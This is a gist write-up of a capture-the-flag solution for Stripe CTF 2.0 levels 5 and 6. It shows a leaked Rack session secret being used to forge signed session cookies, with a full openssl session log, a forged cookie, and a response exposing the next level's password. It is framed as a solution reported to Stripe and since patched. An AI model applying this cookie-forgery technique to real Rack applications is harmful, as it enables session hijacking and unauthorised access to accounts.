Skip to content

Instantly share code, notes, and snippets.

@jermenkoo
Forked from klange/vulnerability.md
Created August 26, 2012 22:57
Show Gist options
  • Save jermenkoo/3484122 to your computer and use it in GitHub Desktop.
Save jermenkoo/3484122 to your computer and use it in GitHub Desktop.
Rack session secret vulnerability in Level 5 and Level 6 of Stripe CTF 2.0
$ openssl s_client -connect level06-2.stripe-ctf.com:443
CONNECTED(00000003)
depth=2 C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert High Assurance EV Root CA
verify error:num=20:unable to get local issuer certificate
verify return:0
---
Certificate chain
0 s:/C=US/ST=California/L=San Francisco/O=Stripe, Inc./OU=Security Department/CN=*.stripe-ctf.com
i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
1 s:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance EV Root CA
2 s:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance EV Root CA
i:/C=IE/O=Baltimore/OU=CyberTrust/CN=Baltimore CyberTrust Root
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIG0zCCBbugAwIBAgIQCsKw7mGk4zJVEEDZIyyaMzANBgkqhkiG9w0BAQUFADBm
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBIaWdoIEFzc3VyYW5j
ZSBDQS0zMB4XDTEyMDgxMDAwMDAwMFoXDTEzMTAxNjEyMDAwMFowgYoxCzAJBgNV
BAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNp
c2NvMRUwEwYDVQQKEwxTdHJpcGUsIEluYy4xHDAaBgNVBAsTE1NlY3VyaXR5IERl
cGFydG1lbnQxGTAXBgNVBAMMECouc3RyaXBlLWN0Zi5jb20wggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQC+gbafWURKZohUsPfD03zFEdrNsBNgEIDMF6wc
1N24rG4LOHtSECm7HnOuDipXNQO15Dr6tIqJaU+MRCZY0aXRm7tF9VmLIUOa5UP2
tIcHPidOjgBhsy6EH3H642+XZa9zSeOM36SQvoJKzd+GBQ3c/8AWW3gV1XvEXv/W
hFq6+EFeWqG5NZOB2U7smlGvWgg4L0OlWrkpPyVeazYfDqfO/4cCokPlSHIFU17t
rxzKsnEkkgjNV2Qiq1Tg8uZJn98XMjgTQclAXVo5+kV7W1XeBK4kDHVdxrXHzljW
3oHr+G7c1TZ25X9xMOw/GA5oZtJq3YP+ciD/zFNSeRTGJckpAgMBAAGjggNWMIID
UjAfBgNVHSMEGDAWgBRQ6nOJ2yn7EI+e5QEg1N55mUiD9zAdBgNVHQ4EFgQUzLli
oYvjNVF5Eb+FG2ry8LV07wwwKwYDVR0RBCQwIoIQKi5zdHJpcGUtY3RmLmNvbYIO
c3RyaXBlLWN0Zi5jb20wDgYDVR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUF
BwMBBggrBgEFBQcDAjBhBgNVHR8EWjBYMCqgKKAmhiRodHRwOi8vY3JsMy5kaWdp
Y2VydC5jb20vY2EzLWcxMi5jcmwwKqAooCaGJGh0dHA6Ly9jcmw0LmRpZ2ljZXJ0
LmNvbS9jYTMtZzEyLmNybDCCAcQGA1UdIASCAbswggG3MIIBswYJYIZIAYb9bAEB
MIIBpDA6BggrBgEFBQcCARYuaHR0cDovL3d3dy5kaWdpY2VydC5jb20vc3NsLWNw
cy1yZXBvc2l0b3J5Lmh0bTCCAWQGCCsGAQUFBwICMIIBVh6CAVIAQQBuAHkAIAB1
AHMAZQAgAG8AZgAgAHQAaABpAHMAIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIABj
AG8AbgBzAHQAaQB0AHUAdABlAHMAIABhAGMAYwBlAHAAdABhAG4AYwBlACAAbwBm
ACAAdABoAGUAIABEAGkAZwBpAEMAZQByAHQAIABDAFAALwBDAFAAUwAgAGEAbgBk
ACAAdABoAGUAIABSAGUAbAB5AGkAbgBnACAAUABhAHIAdAB5ACAAQQBnAHIAZQBl
AG0AZQBuAHQAIAB3AGgAaQBjAGgAIABsAGkAbQBpAHQAIABsAGkAYQBiAGkAbABp
AHQAeQAgAGEAbgBkACAAYQByAGUAIABpAG4AYwBvAHIAcABvAHIAYQB0AGUAZAAg
AGgAZQByAGUAaQBuACAAYgB5ACAAcgBlAGYAZQByAGUAbgBjAGUALjB7BggrBgEF
BQcBAQRvMG0wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBF
BggrBgEFBQcwAoY5aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0
SGlnaEFzc3VyYW5jZUNBLTMuY3J0MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEF
BQADggEBAHMVFXo8b3Eh3rJuKETb/N8SXqbatrgl0c+jKES3Ci5npJiW+YagaDbt
Cd+/ErI9u1PVx+pJpIbusrE2aWqRUfOH5CtJ1v1h3qiiwQRxKNWM1cFju72XtIXs
D6n93zPf2065cXmGq3ZOyWjWqZJCPAxw0TMLRaCFqP4+wyjDFOeJx+Mc47999X9p
YHVWNxkfdAFuXgIymaD0ikkRWJa8cFH8MN8uCNlljMDJttdxzZyBYSgMTlGbTtfp
i2wgc8YvbnB+mTonEMUXagFqf3Xp0MJOHIEvZur8xUG9LQ6qKtutmn1VAK3BnQln
MLOQT58lptmLzuFdAiYogPy5f7Yq2XY=
-----END CERTIFICATE-----
subject=/C=US/ST=California/L=San Francisco/O=Stripe, Inc./OU=Security Department/CN=*.stripe-ctf.com
issuer=/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
---
No client certificate CA names sent
---
SSL handshake has read 5356 bytes and written 372 bytes
---
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: zlib compression
Expansion: zlib compression
SSL-Session:
Protocol : TLSv1
Cipher : DHE-RSA-AES256-SHA
Session-ID: 307AC53B418F6B43FD67ACD53392681594E400E190214D5E0DA17BC866A797B1
Session-ID-ctx:
Master-Key: 60C34F60D7395B68BC1C16DF4CEA41767C429434AC47168CD10D31251CF9B2B797822C59AEE1E4C599563E02ACA9A42D
Key-Arg : None
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket:
0000 - 32 3e b3 e9 60 00 49 55-8e 61 77 5b 90 24 f9 df 2>..`.IU.aw[.$..
0010 - 55 29 e2 9d 91 33 13 3a-f9 f0 68 bd a2 7b 4f de U)...3.:..h..{O.
0020 - cc b6 ab 32 8d 06 64 45-b9 eb 55 03 77 53 45 10 ...2..dE..U.wSE.
0030 - 69 08 15 94 55 97 a8 75-b5 9e 8a 8e 48 29 a6 0e i...U..u....H)..
0040 - 7f 0b 69 a0 61 8f 0b d7-e6 31 88 be b3 d0 a2 88 ..i.a....1......
0050 - 1a c5 a4 cc a5 31 7d f0-e4 d1 c7 52 17 ac 65 1a .....1}....R..e.
0060 - 8f c4 ed d0 30 a9 d5 2f-49 47 5b d6 28 63 96 1c ....0../IG[.(c..
0070 - 96 2f f5 bc 2c 40 65 57-3a 73 02 f8 13 b7 5b 17 ./..,@eW:s....[.
0080 - 1c 87 3f bb f3 0f e1 cd-3d f3 ff ca ed 6f 13 af ..?.....=....o..
0090 - c3 e9 02 93 79 a4 36 bc-59 a7 fd 50 35 78 96 0c ....y.6.Y..P5x..
00a0 - c9 ab d5 d5 d7 a3 da d5-da fe 33 68 39 d0 3f 79 ..........3h9.?y
00b0 - 3d 8a 57 48 50 32 9b 7b-15 4e dd d1 29 1a 0f 33 =.WHP2.{.N..)..3
Compression: 1 (zlib compression)
Start Time: 1345701750
Timeout : 300 (sec)
Verify return code: 20 (unable to get local issuer certificate)
---
GET /user-loyjlkmrnc/user_info HTTP/1.0
Host: level06-2.stripe-ctf.com
Cookie: rack.session=BAh7CSINdHJhY2tpbmd7CCIZSFRUUF9BQ0NFUFRfTEFOR1VBR0UiLWRhMzlh%0AM2VlNWU2YjRiMGQzMjU1YmZlZjk1NjAxODkwYWZkODA3MDkiFEhUVFBfVVNF%0AUl9BR0VOVCItZGEzOWEzZWU1ZTZiNGIwZDMyNTViZmVmOTU2MDE4OTBhZmQ4%0AMDcwOSIZSFRUUF9BQ0NFUFRfRU5DT0RJTkciLWRhMzlhM2VlNWU2YjRiMGQz%0AMjU1YmZlZjk1NjAxODkwYWZkODA3MDkiD3Nlc3Npb25faWQiRWZlMjAzMDQ0%0AYjFlNDhmYzM2YTBjODViYTE1MTk1NTdiMWJhNjA3N2QxNDcwNzVjNDY0ZGYw%0AMjQyOGJkZDNkMzkiCXVzZXIiHGxldmVsMDctcGFzc3dvcmQtaG9sZGVyIg9j%0Ac3JmLnRva2VuIjFyQmpaUWs3b29SWjdwaVg5M1FJRS9LaEZHSTc0QUtXSGhG%0AUnljR1BnWWdRPQ%3D%3D%0A--8d175414180fa26417c64a24be19af93eb87ac52; path=/; HttpOnly
HTTP/1.1 200 OK
Date: Thu, 23 Aug 2012 06:02:34 GMT
Server: Apache/2.2.14 (Ubuntu)
X-XSS-Protection: 1; mode=block
X-Frame-Options: sameorigin
Set-Cookie: rack.session=BAh7CSIJdXNlciIcbGV2ZWwwNy1wYXNzd29yZC1ob2xkZXIiD3Nlc3Npb25f%0AaWQiRWZlMjAzMDQ0YjFlNDhmYzM2YTBjODViYTE1MTk1NTdiMWJhNjA3N2Qx%0ANDcwNzVjNDY0ZGYwMjQyOGJkZDNkMzkiD2NzcmYudG9rZW4iMXJCalpRazdv%0Ab1JaN3BpWDkzUUlFL0toRkdJNzRBS1dIaEZSeWNHUGdZZ1E9Ig10cmFja2lu%0AZ3sIIhlIVFRQX0FDQ0VQVF9MQU5HVUFHRSItZGEzOWEzZWU1ZTZiNGIwZDMy%0ANTViZmVmOTU2MDE4OTBhZmQ4MDcwOSIUSFRUUF9VU0VSX0FHRU5UIi1kYTM5%0AYTNlZTVlNmI0YjBkMzI1NWJmZWY5NTYwMTg5MGFmZDgwNzA5IhlIVFRQX0FD%0AQ0VQVF9FTkNPRElORyItZGEzOWEzZWU1ZTZiNGIwZDMyNTViZmVmOTU2MDE4%0AOTBhZmQ4MDcwOQ%3D%3D%0A--63b3639dfd3d73934509bbd8bce39e5c18e85031; path=/; HttpOnly
Content-Length: 981
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=utf-8
<!doctype html>
<html>
<head>
<title>Streamer</title>
<script src='/user-loyjlkmrnc/js/jquery-1.8.0.min.js'></script>
<link rel='stylesheet' type='text/css'
href='/user-loyjlkmrnc/css/bootstrap-combined.min.css' />
</head>
<body>
<div class='navbar'>
<div class='navbar-inner'>
<div class='container'>
<a class='brand' href='/user-loyjlkmrnc/'>Streamer</a>
<ul class='nav pull-right'>
<li><a href='/user-loyjlkmrnc/logout'>Log Out</a></li>
</ul>
</div>
</div>
</div>
<div class='container'>
<div class='row'>
<div class='span12'>
<h3>User Information</h3>
<table class='table table-condensed'>
<tr>
<th>Username:</th>
<td>level07-password-holder</td>
</tr>
<tr>
<th>Password:</th>
<td>'YFOFFhfyoaVc"</td>
</tr>
</table>
</div>
</div>
</div>
</body>
</html>
closed

We used a unique method to solve levels 5 and 6 of the Stripe CTF 2.0. While some say "any way that works is the right way", this was definitely not what was expected (to the point where it was patched for after I sent Stripe this writeup).

Both of these levels used Rack. Both of them use sessions. And, best of all, both of them have tracebacks enabled.

There's a pretty big problem with all of these things: Sessions in rack are stored as a ruby hash (a dict, for us Python people) in a cookie with some signatures generated with HMAC. The key used for that is retrieved from a file, and that local file is generated from OpenSSL generating random bytes. Normally, you'd never get to see this key - it's a secret, after all. But those tracebacks are very, very revealing, as our team discovered late on Wednesday night:

Oh dear

You might be wondering how we got that traceback in the first place, as not everyone was as... annoyingly persistent at throwing random crap into the form fields as us. We put a space in the pingback. It made a URI::InvalidURIError. Fun stuff.

So, now we have the secret key. We pulled down the source for the server (because it presented a rack environment all set up and ready to go), forced the key in our personal server, and had it set some session values when you went to the login URL.

(img of code overwriting the session_secret)

Particularly, I made this cookie on Level 6:

rack.session=BAh7CSINdHJhY2tpbmd7CCIZSFRUUF9BQ0NFUFRfTEFOR1VBR0UiLWRhMzlh%0AM2VlNWU2YjRiMGQzMjU1YmZlZjk1NjAxODkwYWZkODA3MDkiFEhUVFBfVVNF%0AUl9BR0VOVCItZGEzOWEzZWU1ZTZiNGIwZDMyNTViZmVmOTU2MDE4OTBhZmQ4%0AMDcwOSIZSFRUUF9BQ0NFUFRfRU5DT0RJTkciLWRhMzlhM2VlNWU2YjRiMGQz%0AMjU1YmZlZjk1NjAxODkwYWZkODA3MDkiD3Nlc3Npb25faWQiRWZlMjAzMDQ0%0AYjFlNDhmYzM2YTBjODViYTE1MTk1NTdiMWJhNjA3N2QxNDcwNzVjNDY0ZGYw%0AMjQyOGJkZDNkMzkiCXVzZXIiHGxldmVsMDctcGFzc3dvcmQtaG9sZGVyIg9j%0Ac3JmLnRva2VuIjFyQmpaUWs3b29SWjdwaVg5M1FJRS9LaEZHSTc0QUtXSGhG%0AUnljR1BnWWdRPQ%3D%3D%0A--8d175414180fa26417c64a24be19af93eb87ac52; path=/; HttpOnly

Beautiful, 'eh? Run that through a Base64 decode to see why this works. For Level 5, I set my session values to user='herp' and host='level05-2.stripe-ctf.com', and then I requested the page with some hand-crafted HTTP and openssl s_client -connect level0X-2.stripe-ctf.com:443. The server obliged.

This bit of hackery works on both level 5 and level 6, and probably works on any of the earlier levels that used Ruby and Rack, but we solved those the right way and haven't bothered going back.

The Stripe guys have informed me that they are patching this vulnerability out, so if you are trying this and it no longer works, that would be why.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment